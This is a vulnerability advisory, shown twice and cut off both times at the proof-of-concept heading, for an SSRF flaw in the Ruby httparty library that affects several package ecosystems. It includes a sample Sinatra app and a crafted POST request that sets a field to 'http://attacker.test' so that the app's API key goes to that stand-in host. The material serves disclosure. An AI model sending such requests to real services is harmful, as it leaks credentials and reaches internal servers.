Affected: Homebrew: gitlab-gem

## Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

## Details

When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

```rb require 'sinatra' require 'httparty'

class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end

post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end ```

Now, suppose an attacker sends a request like this:

``` POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json

{ "repository_id": "http://attacker.test", "title": "test" } ```

In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.

A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463>

Also, Python's `urljoin` function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>

## PoC

Follow the…

httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.

Affected: RubyGems: httparty

## Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

## Details

When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

```rb require 'sinatra' require 'httparty'

class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end

post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end ```

Now, suppose an attacker sends a request like this:

``` POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json

{ "repository_id": "http://attacker.test", "title": "test" } ```

In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.

A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463>

Also, Python's `urljoin` function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>

## PoC

Follow the…

Affected: Ubuntu:16.04:LTS: ruby-httparty, Ubuntu:18.04:LTS: ruby-httparty, Ubuntu:20.04:LTS: ruby-httparty, Ubuntu:22.04:LTS: ruby-httparty, Ubuntu:24.04:LTS: ruby-httparty, Ubuntu:25.10: ruby-httparty, Ubuntu:26.04:LTS: ruby-httparty

httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.